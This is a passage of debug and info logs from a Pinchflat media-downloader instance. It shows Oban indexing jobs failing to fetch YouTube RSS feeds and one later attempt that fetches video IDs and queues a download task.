m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:21:37.065 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:21:37.065 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 04:21:37.554 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":538,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":488035,"event":"job:exception","queue_time":435482,"attempt":10,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:21:55.557 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:00.993 [info] {"source":"oban","duration":112,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:22:25.558 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:55.559 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:00.995 [info] {"source":"oban","duration":144,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:23:25.560 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:55.561 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:00.995 [info] {"source":"oban","duration":147,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:24:25.562 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:35.253 [info] {"args":{"id":3},"id":535,"meta":{},"system_time":1784867075253308675,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":11,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:24:35.253 [debug] QUERY OK source="sources" db=0.0ms idle=177.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 04:24:35.253 [debug] QUERY OK source="settings" db=0.0ms idle=177.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:24:35.253 [debug] QUERY OK source="media_profiles" db=0.0ms idle=177.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:24:35.253 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:24:35.253 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 04:24:35.723 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":535,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":469754,"event":"job:exception","queue_time":112924,"attempt":11,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:24:55.563 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:00.996 [info] {"source":"oban","duration":150,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:25:25.564 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:55.565 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:00.998 [info] {"source":"oban","duration":137,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:26:25.566 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:55.567 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:00.998 [info] {"source":"oban","duration":136,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:27:25.568 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:55.569 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:01.000 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:28:25.570 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:55.571 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:00.000 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:29:17.558 [info] {"args":{"id":2},"id":537,"meta":{},"system_time":1784867357558257120,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":11,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:29:17.558 [debug] QUERY OK source="sources" db=0.0ms idle=482.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 04:29:17.558 [debug] QUERY OK source="settings" db=0.0ms idle=482.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:29:17.558 [debug] QUERY OK source="media_profiles" db=0.0ms idle=482.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:29:17.558 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:29:17.558 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 04:29:17.811 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":2},"id":537,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":252830,"event":"job:exception","queue_time":972994,"attempt":11,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:29:25.572 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:55.573 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:00.001 [info] {"source":"oban","duration":131,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:30:25.574 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:55.575 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:00.002 [info] {"source":"oban","duration":111,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:31:25.577 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:55.579 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:00.003 [info] {"source":"oban","duration":138,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:32:25.580 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:55.581 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:00.004 [info] {"source":"oban","duration":127,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:33:25.582 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:55.583 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:00.005 [info] {"source":"oban","duration":141,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:34:25.584 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:55.585 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:00.006 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:35:25.586 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:55.587 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:00.007 [info] {"source":"oban","duration":143,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:36:25.589 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:55.590 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:00.008 [info] {"source":"oban","duration":103,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:37:25.591 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:55.592 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:00.009 [info] {"source":"oban","duration":108,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:38:25.593 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:55.594 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:00.010 [info] {"source":"oban","duration":130,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:39:14.206 [info] {"args":{"id":1},"id":538,"meta":{},"system_time":1784867954206894628,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":11,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:39:14.207 [debug] QUERY OK source="sources" db=0.2ms idle=1091.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 04:39:14.207 [debug] QUERY OK source="settings" db=0.0ms idle=1091.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:39:14.207 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:39:14.207 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:39:14.207 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 04:39:14.499 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 04:39:14.500 [debug] QUERY OK source="media_items" db=0.3ms idle=292.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 04:39:14.504 [debug] QUERY OK source="media_items" db=3.2ms idle=293.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 04:39:14.504 [debug] QUERY OK source="tasks" db=0.1ms idle=297.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [539, 1, ~U[2026-07-24 04:39:14Z], ~U[2026-07-24 04:39:14Z]] 04:39:14.505 [info] {"args":{"id":1},"id":538,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":298053,"event":"job:stop","queue_time":652538,"attempt":11,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:39:25.595 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:55.596 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:00.012 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:40:25.597 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:55.598 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:00.013 [info] {"source":"oban","duration":338,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:41:25.599 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:55.600 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:00.014 [info] {"source":"oban","duration":278,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:42:25.601 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:55.602 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:00.015 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:43:25.603 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:55.604 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:00.016 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:44:25.605 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:55.606 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:00.016 [info] {"source":"oban","duration":147,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:45:25.607 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:55.608 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:00.018 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:46:25.609 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:55.611 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:00.018 [info] {"source":"oban","duration":102,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:47:25.612 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:55.614 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:00.019 [info] {"source":"oban","duration":145,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:48:25.615 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:55.616 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:00.021 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:49:14.849 [info] {"args":{"id":1},"id":539,"meta":{},"system_time":1784868554849166547,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:49:14.849 [debug] QUERY OK source="sources" db=0.0ms idle=1703.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 04:49:14.849 [debug] QUERY OK source="settings" db=0.0ms idle=1703.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:49:14.849 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:49:14.849 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:49:14.849 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 04:49:14.980 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 04:49:14.980 [debug] QUERY OK source="media_items" db=0.2ms idle=131.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 04:49:14.982 [debug] QUERY OK source="media_items" db=1.9ms idle=131.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 04:49:14.983 [debug] QUERY OK source="tasks" db=0.0ms idle=133.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [540, 1, ~U[2026-07-24 04:49:14Z], ~U[2026-07-24 04:49:14Z]] 04:49:14.983 [info] 